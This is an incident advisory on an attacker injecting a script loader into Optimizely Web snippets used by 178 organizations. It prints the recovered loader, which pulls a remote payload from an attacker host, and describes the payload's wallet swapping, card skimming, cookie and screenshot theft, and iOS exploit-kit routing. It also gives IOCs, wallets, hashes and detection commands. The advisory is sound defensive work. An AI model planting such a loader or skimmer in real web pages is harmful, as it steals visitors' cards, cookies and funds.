CVE
Not assigned
CWE
CWE-829, CWE-506, CWE-284
Affected Surface
- Optimizely Web Experimentation snippets (`cdn.optimizely.com/js/<project-id>.js`, and the same snippets served from customer domains) whose Project JavaScript field carried the injected loader between about `04:21` and `23:11 UTC` on 16 November 2026
- 188 of 1,611 snippets checked by Report URI, belonging to 178 organizations, including Zoom, BBC, CNN, Fox News, Salesforce, GitLab, HSBC, Equifax, IKEA, Air France-KLM, Ledger, Peacock and Optimizely's own `optimizely.com` and `login.optimizely.com`
- Visitors to those sites who copied or pasted crypto wallet addresses, typed card details into the site's own form fields, or browsed on iOS 18.6 or earlier during the exposure window
Update, 18 November 2026 (Optimizely’s interim incident report: how the attacker got in, the PCI CDN, and new IOCs): Optimizely has sent customers an interim Security Incident Report dated 17 November, and CSO Online has quoted the customer email. What’s new:
- Entry point. The attacker created Web Experimentation accounts through the signup flow from
00:37 UTCon 16 November, from IPs that include ExpressVPN exits. A flaw in that flow let those accounts act as existing administrator users on customer accounts “through a combination of public information and brute force”. Account and project IDs are in every public snippet, and the attacker guessed variations of customer employees’ email addresses, up to thousands of times per customer. Access to one customer gave no access to another. Optimizely says no passwords were stolen and no Optimizely admin account was breached, and that the impersonation bypassed SSO. - Optimizely’s timeline doesn’t match the public one. Optimizely says the first malicious Project JavaScript was written at
07:51 UTC. It blocked delivery at Cloudflare at16:06, closed the signup flaw at16:10, ended sessions and reset the impersonated users at16:53, and removed all injected code at22:24 UTC. Report URI saw the BBC snippet loadingwebshell[.]lolfrom04:21 UTCand the last infected snippet at23:11 UTC. Optimizely hasn’t explained the gap. Use the wider window, from04:00 UTC, when you search your logs. - The PCI CDN was hit too. Optimizely confirms
cdn-pci.optimizely.com, its high-security snippet host for payment pages, served the injected code, because “the mechanism used to inject the script bypassed our protections”. - Replaced, not just appended. Where a customer already had Project JavaScript, the attacker’s code replaced it. Optimizely restored the original code, which shows up as an “Optimizely Support” change in project history.
- New infrastructure. Mandiant, which Optimizely has engaged for forensics, names
pay.pay-cloud[.]onlineas a skimmer host. Optimizely namespay-relay.wordpressadmin001.workers[.]devas the skimmer’s exfiltration endpoint. It says the actor has run two C2 frameworks, ADAPTAGENT and CUPCAKE C2, frompay-cloud[.]onlinesince at least September, and uses the same infrastructure for card skimmers in other campaigns. Attribution is pending. These hosts don’t appear in Report URI’s or StepSecurity’s analysis oftrack.js, so add them to the blocklist alongside1688360[.]ccrather than instead of it. - What Optimizely tells customers. It says passwords and API tokens don’t need to be reset and that Web Experimentation is safe to re-enable. Cards entered in hosted payment iframes (Stripe, Adyen) were out of reach. Optimizely only sees when the injected code loaded, not what it captured, so it can’t say whether any card data was taken. That depends on your own web, CDN and CSP logs. A final root-cause report and IOC list will follow Mandiant’s investigation.
TL;DR
Optimizely Web is an A/B testing product. Each customer site loads a JavaScript snippet from cdn.optimizely.com that holds Optimizely’s runtime, the customer’s experiments, and an optional Project JavaScript field that runs on every page. On 16 November 2026 an attacker wrote a loader into that field across a large number of unrelated customer projects. The snippets were still served from Optimizely’s CDN with Optimizely’s certificate, so every affected site trusted them.
Scott Helme of Report URI checked 1,611 Optimizely snippets that evening and found the loader in 188 of them, belonging to 178 organizations. The list includes Zoom, the BBC, CNN, Fox News, Salesforce, GitLab, HSBC, Equifax, IKEA, Air France-KLM, Ledger, Peacock and Optimizely’s own login page. Optimizely confirmed the incident on its status page at 01:02 UTC on 17 November. It told BleepingComputer and Gizmodo that the attacker exploited a vulnerability in the Experimentation account signup flow, and said it has fixed the flaw, removed the injected code, ended sessions, revoked tokens and notified affected customers. It has not said how a signup bug gave write access to other companies’ projects.
The second stage, 1688360[.]cc/track.js, did four things on every page that loaded it:
- replaced crypto wallet addresses in the page, the clipboard and outgoing requests with the attacker’s;
- skimmed card number, expiry and CVV from the site’s own form fields and fetch/XHR bodies;
- sent the page URL, non-HttpOnly cookies and an
html2canvasscreenshot to the attacker after a wallet swap; - on iPhone and iPad, loaded routers for the Coruna (iOS 13 to 17) and DarkSword (iOS 18.x) exploit kits.
Report URI says every infected snippet was clean by 23:11 UTC on 16 November, and the payload domain was put on registry hold at 00:37 UTC on 17 November. The attacker’s wallets had received about $7,000 by then and were emptied between 04:11 and 05:39 UTC on 17 November. Nobody outside Optimizely and the attacker knows how many cards or cookies were taken.
What to do now:
- If you run Optimizely Web, open the Project JavaScript of every project and the custom code of every experiment. Remove anything you didn’t write. Search for
1688360,atob(,eval(andwebshell, but read the code too: one loader variant base64-encodes the URL and another inlines the full payload. - List the users, API tokens and integrations on your Optimizely account, remove anything you don’t recognize, and ask Optimizely which of your projects were modified, when, and by which account.
- Treat card data typed into your own checkout fields on 16 November, and secrets held in non-HttpOnly cookies, as exposed. Rotate the cookies and tell your payment processor.
- Block the domains in the IOC section and search proxy, DNS and CSP report logs from
04:00 UTCon 16 November onward.
Affected products and projects
| Ecosystem | Component | Affected | Fixed or safe state |
|---|---|---|---|
| SaaS-hosted JavaScript | Optimizely Web Experimentation snippet, cdn.optimizely.com/js/<project-id>.js | Snippets whose Project JavaScript carried the loader, first seen 04:21 UTC and last seen 23:11 UTC on 16 November 2026 (Report URI) | Optimizely says the vulnerable signup path is blocked and the injected code is removed. Each customer still has to confirm its own projects are clean |
| Self-hosted copies of the same snippet | For example opt.scheels.com/js/<id>.js and www.vodafone.com.au/js/<id>.js | Same window. These serve the content of the same Optimizely project | Same as above |
| Earlier wave (same injector) | Kissmetrics, StorifyMe and Minute Media scripts loading webshell[.]lol/get.js | 13 to 16 November 2026 on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com (Report URI) | Not included in the 178-organization count. Check those vendors’ tags as well |
| End users | Browsers that loaded an infected page | Copy/paste of wallet addresses, card entry in first-party form fields, iOS 18.6 or earlier | Cards entered in cross-origin hosted payment iframes (Stripe, Adyen and similar) were out of reach. iOS 18.7.3 and later and 26.3 and later are listed as patched in the kit’s own comments |
Technical analysis
1. The injection point
An Optimizely Web snippet is one generated JavaScript file per project. The customer’s own code lives in a projectJS function inside it. Nothing else in the snippet changed, so a diff against the previous day’s file shows only the new projectJS body. Here is the loader Report URI recovered from Zoom’s snippet:
"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
document.createElement('script')andappendChildadd a new script element at runtime. A Content-Security-Policy that trusts the Optimizely snippet through'strict-dynamic'also trusts this child script.s.async=truekeeps the page from blocking on the request, so nothing looks slow.- The empty
catch(e){}hides any error from the site’s own error reporting. - Appending to
document.head||document.documentElementmakes it work on pages that don’t have a<head>yet whenprojectJSruns.
Report URI saw two other versions. One builds the same URL from a base64 string with atob(), so grepping a snippet for 1688360 misses it. Smartsheet’s snippet was cleaned once and then re-infected with this variant, which tells you the attacker still had write access at that point. The third version carries an inline copy of the whole payload and runs it through eval when 1688360[.]cc is blocked. That fallback is why HSBC was hit even though its CSP blocked track.js and the exfiltration endpoints: its policy allowed 'unsafe-eval', which Optimizely’s documentation tells customers to permit.
Report URI is clear that this was not CDN cache poisoning. Optimizely’s CDN served exactly what each project contained. The open question is how the attacker got write access to projects belonging to different companies. Optimizely only says the entry point was the account signup flow.
2. The second stage, track.js
We could not retrieve track.js ourselves: the domain stopped resolving on 17 November and the archived copies need an authenticated session to download. The behavior below comes from Report URI’s and StepSecurity’s readings of the file and from Cynet’s analysis of the iOS stage. Report URI counted 26 builds on 16 November. The final build (SHA-256 f7b84b9a…bad40) went live at about 17:56 UTC and is about 30 KB. The server sent cache-control: max-age=15, so the operator could replace the file within seconds.
Wallet swapper. The script carries replacement addresses for BTC, ETH and other EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash and Dogecoin. It only swaps an address that passes that chain’s checksum, so the victim’s wallet accepts the replacement. StepSecurity found it only swaps when nearby text contains a payment word such as “wallet”, “deposit” or “send”. It rewrites addresses in page text, form inputs, link and image attributes, copy events, navigator.clipboard, navigator.share, window.open, navigation, and the URL and body of fetch and XHR requests. It also replaces Function.prototype.call and apply, so a wallet-like string is rewritten before any function receives it. A visitor who copied an address from an infected tab could paste the attacker’s address into a wallet app.
Cookie and screenshot theft. After the first swap next to payment wording, the script loads html2canvas.min.js from the payload server, renders the visible page to a JPEG, and POSTs it to /hit.php with the page URL, up to 8,000 characters of document.cookie and up to 20 of the original addresses. It runs once per page load and only after a swap. HttpOnly cookies are out of its reach.
Card skimmer. Added at 13:43 UTC. It wraps fetch and XHR and listens for form submits. It looks for a Luhn-valid card number with a known brand prefix, an expiry date and a three- or four-digit CVV, and sends them with the page URL to /card.php using navigator.sendBeacon. It keeps each captured card in sessionStorage under a key starting with cc_ so it doesn’t send the same card twice. That leaves card data in the victim’s browser storage. It cannot read fields inside a cross-origin payment iframe.
iOS branch. On iPhone, iPad and iPod user agents it adds boot.js from two .icu routers. Based on the iOS version it loads an exploit chain in a hidden iframe: Coruna (/A8/, plus /JIUJIU888/index.js) for iOS 13 to 17, DarkSword (/B9/, /D11/, /D12/) for iOS 18.x, and a separate /C10/ chain for iOS 26 that only fingerprinted the device when Report URI looked. On iOS 18.6 or earlier the page reloads every 60 seconds to retry. Report URI says the Coruna loader is byte-identical to a sample it analyzed in October from a different campaign. We covered a related Coruna delivery through npm in May (art-template npm compromise).
Nobody has shown a successful iPhone compromise from this campaign. Hudson Rock told SecurityWeek the evidence supports a link to exploit-kit delivery infrastructure but does not establish a zero-day or successful device exploitation. Cynet pulled the iOS stage with an emulated browser and calls it conditional delivery, not a confirmed compromise. Treat older iOS devices that visited affected sites as candidates for triage, not as confirmed infections.
3. Why CSP mostly didn’t help
Report URI crawled 256 of the affected organizations’ own hosts and tested their CSP against what the payload needed:
| Result | Organizations |
|---|---|
| No CSP | 68 |
| CSP allowed the payload and the data theft | 50 |
Payload ran, but connect-src blocked card, cookie and screenshot exfiltration (address swapping still worked) | 17 |
| Payload blocked | 24 |
Allowlisting cdn.optimizely.com did nothing, because the loader came from that host. The sites that were protected had a script-src that listed specific hosts and did not include 'strict-dynamic' or 'unsafe-eval'. connect-src stopped the exfiltration on 17 more sites, but the address swap runs inside the page and needs no network call.
Subresource Integrity is not practical here either. The snippet changes every time someone publishes an experiment, so there is no stable hash to pin.
IOCs
All domains are defanged. Block them including subdomains.
Domains and IPs
| Indicator | Role (source) |
|---|---|
1688360[.]cc | Payload and exfiltration host: /track.js, /html2canvas.min.js, /hit.php, /card.php. Registered 16 Nov 05:23:08 UTC, on clientHold since 17 Nov 00:37 UTC (Report URI, StepSecurity) |
136.113.106[.]136 | Last A record for 1688360[.]cc, Google Cloud us-central1 (StepSecurity) |
webshell[.]lol | Injector get.js for the earlier wave and the first BBC injection. First seen 17 Sep 2026, on clientHold since 17 Nov 03:37 UTC (Report URI) |
linkforge[.]cc | SEO-panel script that carried the injector (Report URI) |
5vobauua3ojpklx[.]icu, p55abnw2pnsz0bo[.]icu | iOS router boot.js. Registered 9 Nov 17:52:42 UTC, resolve to 34.96.213[.]201 (Report URI, StepSecurity) |
eil786npto9u5bq[.]icu, 1y69gy2mdzaltz1[.]icu, gm38duxoihbmy5o[.]icu | iOS router and Coruna/iOS 26 pages. Registered 16 Nov 16:38:42 UTC, resolved to 34.87.36[.]58 (Report URI, StepSecurity) |
l7bcsnwc7nzr3uo[.]icu | Coruna telemetry, POST /api/iptj. Registered 28 Oct, behind Cloudflare (Report URI, StepSecurity) |
je4ft3gn8vxudum[.]icu, q1ls1ho9x7wsxlu[.]icu, ios-hack[.]icu | Fallback C2s hard-coded in boot.js (Report URI) |
pay-relay.wordpressadmin001.workers[.]dev | Skimmer exfiltration endpoint. Any browser request from your site to it is a strong sign the skimmer ran (Optimizely interim report) |
pay-cloud[.]online, pay.pay-cloud[.]online | Skimmer host. Also runs ADAPTAGENT and CUPCAKE C2 since at least September (Mandiant via Optimizely) |
193.176.211[.]170, 193.176.211[.]203 | ExpressVPN exits used to create the signup accounts. Ephemeral, reference only (Optimizely) |
File hashes (track.js, SHA-256)
814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f(17:13 UTC build, Report URI)617df364120adc47fb4f55dcc0c69a9b6c9e108a92c60bc2b64a266254ab02f3(urlscan’s first capture, about 28 KB, StepSecurity)f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40(final build, live from about 17:56 UTC)
There were 26 builds, so match on domains and behavior rather than on one hash.
In-page artifacts
- Globals
window._k7,window.__k7b,window._cc,window._qxc,window._shot sessionStoragekeys starting withcc_- Non-native
Function.prototype.callandFunction.prototype.apply - Script tag attribute
data-channel-code="02111110"on the iOS loader; Coruna telemetry channel codeBIGNIAO POSTof typetext/plainto/hit.php;sendBeaconto/card.phpwith fieldsn,e,c,u
Attacker wallets (hard-coded replacement addresses)
- BTC
19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW - ETH/EVM
0xC4026b06D82b0F0B363eda0642D61CfbDc17884e - TRON
THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa - SOL
FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n - TON
UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p - LTC
ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5 - BCH
qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58 - DOGE
DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5
Report URI says the TRON cash-out address TMLQvDvpgSyx94maptc3TxvmCVtT5qHVup also received funds from this actor’s earlier operations in March 2026 and on 3 November 2026.
Detection and remediation
Pull every Optimizely snippet you serve and look for the loader. Run this against the CDN path and against any copy served from your own domain:
# Replace with the project IDs in your snippet URLs
for id in 1234567890 2345678901; do
for host in cdn.optimizely.com www.example.com; do
curl -s "https://${host}/js/${id}.js" -o "snippet-${host}-${id}.js"
echo "== ${host} ${id}"
grep -nE '1688360|webshell|linkforge|\.icu/|atob\(|eval\(' "snippet-${host}-${id}.js" | cut -c1-200
done
done
A match on atob( or eval( is not proof by itself, because legitimate experiment code can use both. Open the projectJS function and every experiment’s custom code and read it.
Search your logs and CSP reports for the payload hosts:
# Proxy, DNS or CDN logs from 2026-11-16T04:00Z onward
zgrep -hE '1688360\.cc|webshell\.lol|linkforge\.cc|5vobauua3ojpklx\.icu|eil786npto9u5bq\.icu|l7bcsnwc7nzr3uo\.icu|p55abnw2pnsz0bo\.icu|1y69gy2mdzaltz1\.icu|gm38duxoihbmy5o\.icu' \
/var/log/proxy/*.gz /var/log/dns/*.gz 2>/dev/null | head
# CSP violation reports (JSON lines) that name the payload host
jq -c 'select(."csp-report"."blocked-uri" // "" | test("1688360|webshell|\\.icu"))' csp-reports.jsonl
In a browser session on one of your own pages, check for the payload’s globals and hooks from the DevTools console:
[typeof window._k7, typeof window.__k7b, Function.prototype.call.toString().includes('[native code]'),
Object.keys(sessionStorage).filter(k => k.startsWith('cc_'))]
A clean page returns ["undefined", "undefined", true, []].
Then tighten the policy so a future injection through a tag vendor can’t load or phone home:
Content-Security-Policy: script-src 'self' https://cdn.optimizely.com https://<other-known-hosts>; connect-src 'self' https://*.optimizely.com https://<your-apis>; frame-src 'self' https://<payment-provider>; report-to csp
Leave out 'strict-dynamic' on pages that load third-party tag managers or experimentation snippets. Drop 'unsafe-eval' where your Optimizely features allow it, and test first, because Optimizely documents it as a requirement for some features. Keep card entry in the payment provider’s hosted fields in a cross-origin iframe.
Rotate or reset:
- Optimizely user passwords, SSO sessions and API tokens, and any integration credentials stored in Optimizely.
- Session or auth tokens kept in non-HttpOnly cookies on affected domains.
- Cards entered in first-party form fields on 16 November: tell your processor and the affected customers.
- Staff who handled crypto transfers on affected sites should check each destination address on the wallet or hardware-wallet screen.
- iOS devices on 18.6 or earlier (or 17 and earlier) that visited affected sites: update to iOS 18.7.3, 26.3 or later and consider forensic triage.
Timeline
All times UTC.
- 2026-09-17:
webshell[.]lolfirst appears, injected into Turkish sites through an SEO backlink-panel script (Report URI). - 2026-10-28:
l7bcsnwc7nzr3uo[.]icuregistered (StepSecurity). - 2026-11-09 17:52:
5vobauua3ojpklx[.]icuandp55abnw2pnsz0bo[.]icuregistered. Public scans show5vobauua3ojpklx[.]icuserving/A8/a.htmlon 12 November. - 2026-11-13 to 2026-11-16: Earlier wave loads
webshell[.]lol/get.jsthrough Kissmetrics, StorifyMe and Minute Media scripts. - 2026-11-16 00:37: Attacker starts creating Web Experimentation accounts through the signup flow (Optimizely).
- 2026-11-16 04:21: First Optimizely injection seen by Report URI: the BBC snippet starts loading
webshell[.]lol. - 2026-11-16 05:23:
1688360[.]ccregistered. - 2026-11-16 08:10 to 08:28: First build of
track.js; first public scan ofbbc.comloading it. - 2026-11-16 07:51: First malicious Project JavaScript write, according to Optimizely’s logs.
- 2026-11-16 13:03 to 13:05: First sweep of stolen stablecoins from the TRON and BSC wallets.
- 2026-11-16 13:34: Optimizely detects the activity.
- 2026-11-16 13:43: Card skimmer added to
track.js. - 2026-11-16 16:06 to 16:53: Optimizely blocks the code at Cloudflare (16:06), closes the signup flaw (16:10), and ends sessions and resets the impersonated users (16:53).
- 2026-11-16 16:38: Second batch of iOS router domains registered.
- 2026-11-16 17:13 to 17:57: Second iOS host added and the Coruna iframe injected for iOS 18.6 or earlier. Final
track.jsbuild goes live. - 2026-11-16 19:24 to 19:59: Report URI’s sweep finds 186 of 1,611 snippets infected.
- 2026-11-16 20:40 to 21:10: Mass clean-up of customer projects (Ledger 20:41, Smartsheet 20:56, BBC 21:07).
- 2026-11-16 21:52: One snippet (TalkTalk) still infected.
- 2026-11-16 22:24: Optimizely says injected code is removed from all affected projects.
- 2026-11-16 23:11: Report URI observes every infected snippet clean.
- 2026-11-17 00:37:
1688360[.]ccplaced on clientHold. - 2026-11-17 01:02: Optimizely posts the Web Experimentation Security Incident on its status page.
- 2026-11-17 03:37:
webshell[.]lolplaced on clientHold. - 2026-11-17 04:11 to 05:39: Attacker empties the LTC, ETH and BTC wallets.
- 2026-11-17 07:30 to 09:17: StepSecurity and Report URI publish updated analyses. Optimizely’s incident is still in “Monitoring”.
- 2026-11-17: Optimizely sends customers its interim Security Incident Report, naming the signup-flow impersonation, the PCI CDN exposure, and Mandiant’s
pay-cloud[.]onlinefinding.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Optimizely status page: Web Experimentation Security Incident (17 November 2026, 01:02 UTC)
- Report URI, Scott Helme (16 November 2026, updated 17 November): World's Largest Brands Infected With Malware Via Optimizely
- StepSecurity (17 November 2026): OPTIMJACK, Optimizely-Hosted Scripts Loaded a Crypto Clipper and Card Skimmer on 178 Organizations
- Cynet (17 November 2026): OPTIMJACK, malicious web injection across CNN, Zoom, Salesforce, Fox and more
- BleepingComputer (16 November 2026): Optimizely supply chain attack infects major brands' sites with malware
- SecurityWeek (17 November 2026): Optimizely Vulnerability Exploited to Serve Malware on Major Websites
- Optimizely: Security Incident Report, Optimizely Web Experimentation (interim, 17 November 2026)
- CSO Online: Optimizely confirms massive cyberattack on customer websites injected stealer malware